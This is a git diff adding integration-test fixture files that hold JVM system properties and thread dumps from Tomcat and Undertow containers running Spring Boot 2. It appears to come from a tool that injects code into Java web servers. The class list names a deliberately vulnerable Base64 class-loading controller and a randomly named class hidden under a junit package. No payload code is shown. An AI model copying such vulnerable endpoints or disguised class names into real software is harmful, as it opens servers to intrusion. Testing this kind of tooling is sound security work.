sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:551) + +"XNIO-1 I/O-8" #21 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"XNIO-1 I/O-10" #23 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"DestroyJavaVM" #26 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"XNIO-1 I/O-6" #19 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@5eedfdd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"XNIO-1 task-1" #27 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6e074f36 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$PoolThreadNode.park(EnhancedQueueExecutor.java:2234) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1493) + at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282) + at java.lang.Thread.run(Thread.java:750) + +"XNIO-1 I/O-2" #15 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:551) + +"XNIO-1 I/O-11" #24 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"XNIO-1 I/O-3" #16 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:551) + +"XNIO-1 Accept" #25 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"XNIO-1 I/O-4" #17 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@3421dbf5 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"XNIO-1 I/O-1" #14 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:551) + + +=========================================== + +StackClassNames: +com.reajason.javaweb.vul.springboot2.controller.Base64ClassLoaderController +io.undertow.security.handlers.AbstractConfidentialityHandler +io.undertow.security.handlers.AbstractSecurityContextAssociationHandler +io.undertow.security.handlers.AuthenticationMechanismsHandler +io.undertow.server.Connectors +io.undertow.server.HttpServerExchange$1 +io.undertow.server.handlers.PredicateHandler +io.undertow.servlet.core.ContextClassLoaderSetupAction$1 +io.undertow.servlet.core.ManagedFilter +io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1 +io.undertow.servlet.handlers.FilterHandler +io.undertow.servlet.handlers.FilterHandler$FilterChainImpl +io.undertow.servlet.handlers.RedirectDirHandler +io.undertow.servlet.handlers.SendErrorPageHandler +io.undertow.servlet.handlers.ServletChain$1 +io.undertow.servlet.handlers.ServletDispatchingHandler +io.undertow.servlet.handlers.ServletHandler +io.undertow.servlet.handlers.ServletInitialHandler +io.undertow.servlet.handlers.ServletInitialHandler$1 +io.undertow.servlet.handlers.ServletInitialHandler$2 +io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler +io.undertow.servlet.handlers.security.SSLInformationAssociationHandler +io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler +io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler +io.undertow.servlet.handlers.security.ServletSecurityRoleHandler +org.jboss.threads.ContextClassLoaderSavingRunnable +org.jboss.threads.EnhancedQueueExecutor +org.jboss.threads.EnhancedQueueExecutor$PoolThreadNode +org.jboss.threads.EnhancedQueueExecutor$ThreadBody +org.junit.VWThO.ErrorHandler +org.springframework.web.filter.CharacterEncodingFilter +org.springframework.web.filter.FormContentFilter +org.springframework.web.filter.OncePerRequestFilter +org.springframework.web.filter.RequestContextFilter +org.springframework.web.method.support.InvocableHandlerMethod +org.springframework.web.servlet.DispatcherServlet +org.springframework.web.servlet.FrameworkServlet +org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter +org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter +org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod +org.xnio.XnioWorker$WorkerThreadFactory$1$1 +org.xnio.nio.WorkerThread diff --git a/integration-test/src/test/resources/infos/SpringBoot2WarContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/SpringBoot2WarContainerTestBasicInfo.txt new file mode 100644 index 00000000..6d55b68b --- /dev/null +++ b/integration-test/src/test/resources/infos/SpringBoot2WarContainerTestBasicInfo.txt @@ -0,0 +1,425 @@ +# Generated At 2025-08-10 15:00:36 +SystemProps: +java.vendor: Temurin +sun.java.launcher: SUN_STANDARD +catalina.base: /usr/local/tomcat +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +catalina.useNaming: true +os.name: Linux +sun.boot.class.path: /opt/java/openjdk/lib/resources.jar:/opt/java/openjdk/lib/rt.jar:/opt/java/openjdk/lib/sunrsasign.jar:/opt/java/openjdk/lib/jsse.jar:/opt/java/openjdk/lib/jce.jar:/opt/java/openjdk/lib/charsets.jar:/opt/java/openjdk/lib/jfr.jar:/opt/java/openjdk/classes +java.util.logging.config.file: /usr/local/tomcat/conf/logging.properties +org.apache.el.GET_CLASSLOADER_USE_PRIVILEGED: false +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_402-b06 +user.name: root +tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-taglib*.jar,log4j-web*.jar,log4javascript*.jar,slf4j-taglib*.jar +shared.loader: +tomcat.util.buf.StringCache.byte.enabled: true +java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory +user.language: en +sun.boot.library.path: /opt/java/openjdk/lib/aarch64 +CONSOLE_LOG_CHARSET: UTF-8 +PID: 1 +jdk.tls.ephemeralDHKeySize: 2048 +java.version: 1.8.0_402 +java.util.logging.manager: org.apache.juli.ClassLoaderLogManager +user.timezone: Etc/UTC +sun.arch.data.model: 64 +java.util.concurrent.ForkJoinPool.common.threadFactory: org.apache.catalina.startup.SafeForkJoinWorkerThreadFactory +java.endorsed.dirs: /opt/java/openjdk/lib/endorsed +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +package.access: sun.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.tomcat. +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +user.country: US +java.home: /opt/java/openjdk +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +path.separator: : +java.vm.version: 25.402-b06 +java.protocol.handler.pkgs: org.apache.catalina.webresources +java.awt.printerjob: sun.print.PSPrinterJob +sun.io.unicode.encoding: UnicodeLittle +java.specification.maintenance.version: 5 +awt.toolkit: sun.awt.X11.XToolkit +package.definition: sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.,org.apache.tomcat. +java.naming.factory.url.pkgs: org.apache.naming +user.home: /root +org.apache.catalina.security.SecurityListener.UMASK: 0027 +java.specification.vendor: Oracle Corporation +tomcat.util.scan.StandardJarScanFilter.jarsToSkip: annotations-api.jar,ant-junit*.jar,ant-launcher*.jar,ant*.jar,asm-*.jar,aspectj*.jar,bcel*.jar,biz.aQute.bnd*.jar,bootstrap.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,catalina-ws.jar,catalina.jar,cglib-*.jar,cobertura-*.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-compress*.jar,commons-daemon.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,derby-*.jar,dom4j-*.jar,easymock-*.jar,ecj-*.jar,el-api.jar,geronimo-spec-jaxrpc*.jar,h2*.jar,ha-api-*.jar,hamcrest-*.jar,hibernate*.jar,httpclient*.jar,icu4j-*.jar,jasper-el.jar,jasper.jar,jaspic-api.jar,jaxb-*.jar,jaxen-*.jar,jaxws-rt-*.jar,jdom-*.jar,jetty-*.jar,jmx-tools.jar,jmx.jar,jsp-api.jar,jstl.jar,jta*.jar,junit-*.jar,junit.jar,log4j*.jar,mail*.jar,objenesis-*.jar,oraclepki.jar,org.hamcrest.core_*.jar,org.junit_*.jar,oro-*.jar,servlet-api-*.jar,servlet-api.jar,slf4j*.jar,taglibs-standard-spec-*.jar,tagsoup-*.jar,tomcat-api.jar,tomcat-coyote.jar,tomcat-dbcp.jar,tomcat-i18n-*.jar,tomcat-jdbc.jar,tomcat-jni.jar,tomcat-juli-adapters.jar,tomcat-juli.jar,tomcat-util-scan.jar,tomcat-util.jar,tomcat-websocket.jar,tools.jar,unboundid-ldapsdk-*.jar,websocket-api.jar,wsdl4j*.jar,xercesImpl.jar,xml-apis.jar,xmlParserAPIs-*.jar,xmlParserAPIs.jar,xom-*.jar +java.library.path: /usr/local/tomcat/native-jni-lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: https://adoptium.net/ +spring.beaninfo.ignore: true +java.vm.vendor: Temurin +common.loader: "${catalina.base}/lib","${catalina.base}/lib/*.jar","${catalina.home}/lib","${catalina.home}/lib/*.jar" +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: org.apache.catalina.startup.Bootstrap start +java.class.path: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar +java.vm.specification.name: Java Virtual Machine Specification +java.vm.specification.version: 1.8 +catalina.home: /usr/local/tomcat +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +java.io.tmpdir: /usr/local/tomcat/temp +FILE_LOG_CHARSET: UTF-8 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +server.loader: +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /opt/java/openjdk/lib/ext:/usr/java/packages/lib/ext +user.dir: /usr/local/tomcat +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +ignore.endorsed.dirs: +file.encoding: UTF-8 +java.specification.version: 1.8 + +=========================================== + +ThreadStacks: +"http-nio-8080-exec-9" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@432959e3 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-2" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@432959e3 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-1" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@432959e3 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-8" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@432959e3 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-exec-4" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@432959e3 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-3" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@432959e3 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-10" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@432959e3 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-5" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@432959e3 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"GC Daemon" #13 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@4deeaff6 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"localhost-startStop-1" #15 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@49d13293 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[Catalina]]" #18 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1300) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@cd3a5cd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"http-nio-8080-Acceptor" #30 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:449) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:63) + at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:129) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@53c13f5 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) + +"http-nio-8080-Poller" #29 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:713) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-6" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@432959e3 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"AsyncFileHandlerWriter-1" #12 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3d158dbb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:492) + at java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:680) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"main" #1 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at org.apache.catalina.core.StandardServer.await(StandardServer.java:468) + at org.apache.catalina.startup.Catalina.await(Catalina.java:730) + at org.apache.catalina.startup.Catalina.start(Catalina.java:678) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:345) + at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:476) + +"http-nio-8080-AsyncTimeout" #31 daemon 